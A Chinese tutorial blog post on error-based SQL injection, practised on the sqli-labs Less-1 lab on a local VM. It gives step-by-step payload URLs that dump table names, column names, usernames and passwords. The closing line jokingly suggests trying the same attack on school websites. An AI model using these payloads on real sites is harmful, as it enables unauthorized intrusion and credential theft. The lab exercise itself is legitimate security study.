如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

前言

  • 为什么要学习网络安全
    首先,为什么要学习网络安全呢?在这个互联网主宰的世界里,如何学习网络安全?手把手带你跟着B站一起学——第三节:演示永恒之蓝-MSF初探

    显错注入

    什么是显错注入?
    像程序语言在运行过程中如果遇到一些逻辑或者语句之类的问题会报错,如果管理员没有关闭报错机制的话,我们可以尝试让对方报错时对方会显示一些东西,这就叫显错注入。如果对方关闭了报错机制的话,这就叫盲注

    数据库的结构

    数据库结构是指在计算机的存储设备上合理存放的相关联的有结构的数据集合的结构。一个数据库结构含有各种成分,包括数据库、数据表、字段等。MySQL的端口是3306
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    数据库内置函数

    连接数据库这里就不多说了,具体可百度,这里使用SQLyog连接虚拟机win2003,注意远程连接数据前开启数据库远程连接权限即可!

    • @@datadir 函数
      作用:返回数据库的存储目录
      SQL语句: select @@datadir ()
      如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    • @@version_compile_os 函数
      作用:查看服务器的操作系统
      SQL语句:select @@version_compile_os;
      如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    • database() 函数
      作用:查看当前连接的数据库名称
      SQL语句:select database();
      如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    • user() 函数
      作用:查看当前连接的数据库的用户
      SQL语句:select user();
      如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    • version() 函数
      作用:查看数据库的版本(知道对方数据库的版本后可去百度查找已知版本如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    MySQL用版本之分

    5.0以上可以借助内置库information_schema下面的tables表,columns表来完成注入
    tables表:存放着整个数据库所有的表名
    columns:存放着整个数据库所有的列名

    数据库的攻击思路和漏洞原理

    如何去操控对方的数据库?——进而控制对方的服务器?——控制对方的电脑?

    了解完数据库的结构和数据库的内置函数之后呢,你会清晰地明白一个东西:作为一个正常的程序猿,想要去知道对方的列名里面的数据的前提是知道对方数据库的表名和列名,才能知道里面的数据内容。

    数据库注入的漏洞原理(注入原理):
    web应用程序对用户输入的信息过滤的不严谨或者没有过滤(数据库的关键字),并将用户输入的数据当做SQL语句带入到数据库中查询(正常执行SQL语句)。

    在数据库中执行的结果(背后的逻辑) 在网站中执行的结果
    执行结果 正常显示 显示一部分,不显示一部分(显示的不完全)
    执行结果 报错 报错

    咋们先访问win2003虚拟机靶机sqli下的Less-1
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    然后咋们找到网站根目录下网站路径的源代码,依此来好好分析分析
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    如何确认是否存在SQL注入漏洞?

    看看它会不会把我输入的数据当做SQL语句带入到数据库中查询(执行),当我们特意输入一些关键字例如“ ’ ”等时,它报错了,说明存在SQL注入

    看到我们的源代码,我们可以很轻松地发现其存在SQL注入漏洞
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    一般情况下呢,我们也可以试试以下两种方法,如果报错说明可能存在SQL注入漏洞

    1-逻辑判断+闭合确定注入点

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 --+ 
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    解析原理:根据上面我们PHP的源代码可以轻易地发现

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 当我们在网页端输入的是 “?id=1' and 1=2 --+”,即$id = 1' and 1=2 --+SQL语句会变成:"SELECT * FROM users WHERE id='1' and 1=2 --+' LIMIT 0,1"; 
    --+是注释符号,除此之外还有#,%23等 

    2、猜字段 order by 二分法

    我们可以通过order by + 二分法猜出表有多少个字段

    当你输入order by 3 的时候,能正常显示,说明起码有3个字段
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    当你输入order by 4 的时候,报错了,说明只有3个字段
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    注入(payload)的核心:

    http://192.168.1.106/sqli/less-1/?id=1' XXXXXXXXXX --+ 

    所以我们可以发现,payload的核心在于单引号和注释,在单引号和注释中间这段位置你可以随意发挥

    3、联合查询 union select

    用unino连接,左边的字段数量要和右边的一致,即:
    左边 union select 右边

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,3--+ 

    通过联合查询可以得到显错位
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    4、利用内置函数收集信息

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,database(),version()--+  http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,@@datadir,@@version_compile_os--+  解释: 	database() 当前数据库id 	version() 数据库版本 	@@datadir 当前数据库存放路径 	@@version_compile_os 当前服务器的版本 	user() 当前链接数据库的用户 

    例:
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    这里就不过多解释了,懂得都懂了,不懂的再回去看看视频

    5、爆表名

    接下来我们开始爆表名,爆列名,因为你不爆表名,爆列名是不能知道里面的一个内容的

    首先我们得知道,information_schema下面的tables这张表包含了全部数据库的表名

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union  select 1,2,group_concat(table_name) from  information_schema.tables where table_schema='security' --+  执行这段语句,将会得到数据库名为security 里面的所有的表名 

    这里group_concat()是什么意思可以参考这篇:浅析MySQL中concat以及group_concat的使用
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    6、爆列名

    information_schema下面的columns这张表包含了全部数据库的列名

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  执行这段语句,将会得到表名为users 里面的所有的列名 
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

    7、获取字段内容数据

    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union  select 1,2,group_concat(username) from  users --+  执行这段语句,将会得到users表下的所有账号名称username 
    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union  select 1,2,group_concat(password) from  users --+  执行这段语句,将会得到users表下的所有账号密码password 

    如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入
    到这里呢,我只想说一句:太可怕了!(太牛逼了)

    回顾

    首先为什么会出现显错注入呢?原因是管理员没有关闭错误回显

    • 错误回显是可以被预定义的

    然后我们要去闭合,闭合的目的是为了让我们输入的语句被独立出来,能够被数据库执行,为了避免干扰我们用注释符号结尾(注释符号后面内容将不会被执行)

    闭合之后呢,我们也知道他存在注入点了,然后我们用order by方法来猜测其数据库表有多少列

    然后我们用联合查询来确定显错位

    确认显错位后呢我们用一些内置函数来收集信息,在显错位上得到一些关键的数据

    之后呢,我们就开始爆表名,爆列名,获取到一些关键信息

    之后我们就利用这些表名和列名可以获取到一些具体的内容

    后话

    学习完这篇之后,我有个小冲动,利用Python写个获取数据库username和password的小脚本,先按照上面原理注入一下,获取到信息之后利用爬取网站源代码将信息存储在本地…有兴趣的同学也可以试试

    据说一些学校的网站也没有充分的安全措施,有没有小伙伴想试试注入注入自家后花园呢?(三年起步~)